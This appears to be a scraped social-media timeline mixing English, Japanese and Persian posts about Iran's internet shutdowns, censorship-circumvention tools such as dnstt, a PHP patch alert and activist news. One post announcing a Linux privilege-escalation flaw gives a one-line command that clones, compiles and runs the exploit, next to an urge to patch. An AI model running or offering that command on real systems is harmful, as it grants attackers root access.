jadi

Jadi. Into Fun & Freedom. A programmer, POSIXian and techie who enjoys life and defends Human Rights and the Keyboard Freedom.

[amirzand @amirzandartist]

Hi, I'm Back!

/PILIERS du RIVAGE/ 25
Finally had time to work on another personal piece this year (slowly getting back to my usual habit) It's been a busy few months with lots of transitioning, and some good things on the horizon, Still (as vibe suggests) can't help dreaming of a break by the shore... I could really use one (hopefully soon)
Added a posterized version

[Ted @TedPillows]

Don't cheat on your wife.

[高市早苗 @takaichi_sanae]

皆様に、今夜に対応して頂きたい大至急のお願いです。

多くのウェブサイトで使用されているPHPに関し、PHPのセキュリティチームが、重大な２件の脆弱性に関する注意喚起を行っています。

公開しているウェブサイトでPHPを使用しているか確認し、今夜、10月21日午後11時（日本時間）に公開される修正パッチについて、可及的速やかに適用できるよう準備をお願いします。

修正パッチを速やかに適用することが困難な場合は、例えばウェブサイト等を一時的に停止させることも、リスクを低減させるための有効策の一つと考えられます。

国家サイバー統括室のXアカウントでも関係する情報を発信していますので、そちらも参考にして下さい。
国家サイバー統括室(注意・警戒情報)（@cyber_forecast） / X

[Haj Amir @Amir_Shvhvb]

دوستان اگر به حوزه نرم‌افزارهای آزاد و لینوکس علاقه دارید به هیچ عنوان این ایونت رو از دست ندید
کلی آدم خفن قراره بیان و مباحث ترند و مهم روز رو ارائه بدن
از من نشنیده بگیرید ولی یه سوپرایزهای جالبی هم تدارک دیده شده
خلاصه که هرجور شده بیاید
امیدوارم که ببینیمتون 😊

[Matthew Green @matthew_d_green]

I’ve had a few people write to ask me to follow up on a (reply!) tweet I wrote that’s gotten a lot of retweets. I considered deleting it just to avoid the headache, but I think that would make people more paranoid. So let me share my thoughts.

[jadi @jadi]

Looking at Iran's internet traffic over the last 7 days; the government is actively cutting people off from the outside world.

[Zoomit | زومیت @TheZoomit]

«مشترک مورد نظر مجوز برقراری این ارتباط را ندارد»! 🚫 این روزها خط تلفن ثابت و موبایل بسیاری از کسب‌وکارهای اینستاگرامی مسدود می‌شود؛ اتفاقی که به آن «قطعی سیاه» می‌گویند. برای وصل مجدد خط، صاحبان کسب‌وکار باید به کارگروه مد و لباس بروند و این فرم‌های تعهد عجیب را امضا کنند!/۱

[Hamed @Hamed]

به عنوان نسل مار گزیده قطع اینترنت، بخشی از حیات دیجیتال ما به self-host کردن بعضی سرویس‌های کاربردی وابسته است.

برای اینکه چیزی شبیه گوگل درایو ولی به شکل storage-agnostic داشته باشید https://t.co/FHeYiMq3Nc رو ببینید. می‌دونم راهکارهای «همه کار کن» هست ولی اینو پیشنهاد می‌کنم.

[Behnam Tavakkoli @tavakkoli]

خوب دنبال پولیم و سخت‌افزار سرورمون تو ایران را گذاشتیم برای فروش، مشخصات تو عکس هست (رم و هارد نسبتا بالایی داره) اگر شرکت‌تون نیاز به پردازش یا ذخیره‌سازی دارد.

پیشنهاد قیمت خریدتون را لطفا به تلگرامم ارسال کنید
https://t.co/JpOjIJnwTJ

دوستان عزیز لطفا #ریتوییت کنید ممنونم 🙏

[‎نابخشودنی @ardalanmousavi]

در حالی‌که وزارت ارتباطات ادعا میکرد مخالف اینترنت پرو است، امروز جلسه گذاشته با موضوع «بهبود فرآیند اجرای طرح اینترنت پرو». یعنی نه‌تنها خبری از لغو اینترنت پرو نیست بلکه دارن در مورد «بهبود» فرآیندش صحبت میکنن. یه مشت بیشرف حقه‌باز شدن مسئول و تصمیم‌گیر.
#DigitalBlackOutIran

[علی شریفی زارچی @SharifiZarchi]

رسول جلیلی، جلاد اینترنت ایران، در استرالیا تحصیل کرده؛ در آمریکا فرصت مطالعاتی گذرانده و همان‌جا به دنبال موقعیت تحصیلی برای فرزندش بوده و او را برای تحصیل به خارج کشور فرستاده؛ و با قطع اینترنت پایش را روی گلوی ملت ایران می‌فشرد.
جمهوری اسلامی باید برود تا مردم ایران نفس بکشند.

[NetBlocks @netblocks]

📉 Metrics show the #Iran internet blackout is now in its 72nd day with connectivity flatlining after 1704 hours. The unprecedented measure is well into its third month with no indication of a wider restoration as authorities bar the general public from international access.

[مسعود گر‌وسیان @masoudgarousian]

حرف‌زدن درباره‌ی قطعی #اینترنت شاید فوری اینترنت را برنگرداند؛
اما #سکوت دقیقاً همان چیزی است که ادامه‌ی این وضعیت به آن نیاز دارد.

[jadi @jadi]

Another Universal Local Privilege Escalation in #Linux!
You only need to issue:

git clone https://t.co/gGYNHtZ1Kp && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

and Page Cache, Fragmentation, ZeroCopy and 2 CVEs will do their magic.
Technical explanation:
https://t.co/gNvzLOECrs

Update your machines!

[patterniha @patterniha]

سرورلس برای ایران:

https://t.co/FBwdw0HEYz

@vahidfarid
@iSegar0
@markpash
@mahsanet
@GhostOfSarina
@ircfspace
@amin_o__o

[aleskxyz @aleskxyz]

خب سورس این لود بالانسر به همراه باینری و داکر ایمیج بیلد شده رو هم میتونید توی ریپو زیر ببینید:
https://t.co/FyLYFGtBHG
ایده پشتش اینه که ما بتونیم برای یه ساب دامین چندین NS record تعریف کنیم جوری که resolver ها به صورت رندوم به یکیش وصل بشن و درخواست کاربر رو براش بفرستن.
لود بالانسرها درخواست رو دریافت میکنن و با بررسی اون میتونن client id رو استخراج کنن و بر اساسش طبق یه الگوریتم deterministic سروری که باید درخواست رو جواب بده رو تعیین کنن. اینجوری دیگه مهم نیست درخواست دست کدوم لودبالانسر میرسه، در نهایت همه لودبالانسرها درخواست های هر کاربر رو به سمت یک سرور میفرستن و یکپارچگی پروتکل حفظ میشه.
در نتیجه ما میتونیم در کنار هر سرور dnstt یه سرور لودبالانسر هم بالا بیارید و طبق چیزی که تو عکس میبینید اینها با هم صحبت میکنن. من این رو روی 32 تا سرور انجام دادم و کانفیگش توی توییت کوت شده هست.
هر بار که کلاینت کانکشنش رو قطع و وصل میکنه یه client id جدید بهش اختصاص داده میشه و در نتیجه به یه سرور جدید متصل میشه. پس اگه دیدید اتصال شما برقرار نمیشه، یه بار قطع و وصل کنید.
لطفا اگه ممکنه کد رو review کنید و اگه اشکالی داری PR بفرستید. ایده خیلی ساده پیاده شده و من مطمین نیستم واقعا همه ابعاد پروتکل dnstt توش دیده شده یا نه.

[Anonvector @AnonvectorX]

برای ساخت dnstt و Slipstream از اسکریپت زیر استفاده کنید. می‌تونید هر چندتا خواستید کانفیگ با یک دامنه و سرور داشته باشید. گزارش شده که اگر کانفیگ فعلیتون کار نمیکنه با تغییر subdomain ممکنه کار کنه:
https://t.co/XnfuxxBxWk

[jadi @jadi]

یادمون باشه که هر وقت می گیم کسی «به قید وثیقه آزاد» شد یعنی فعلا بازجویی و زندان انفرادی و عدم دسترسی به وکیل و ... تموم شده و طرف منتظر حکم است و تحت انواع فشارهای دیگه.

اما به هرحال خوبه که سعید «بیرون» است و امیدواریم همه مون واقعا «آزاد» بشیم.

[Digiato | دیجیاتو @Digiato]

🔴سعید سوزنگر به قید وثیقه آزاد شد

«سعید سوزنگر»، کارشناس و فعال حوزه اینترنت، امروز (۵ اسفند ۱۴۰۴) به قید وثیقه از زندان آزاد شد. او از حدود یک ماه پیش در بازداشت به سر می‌برد.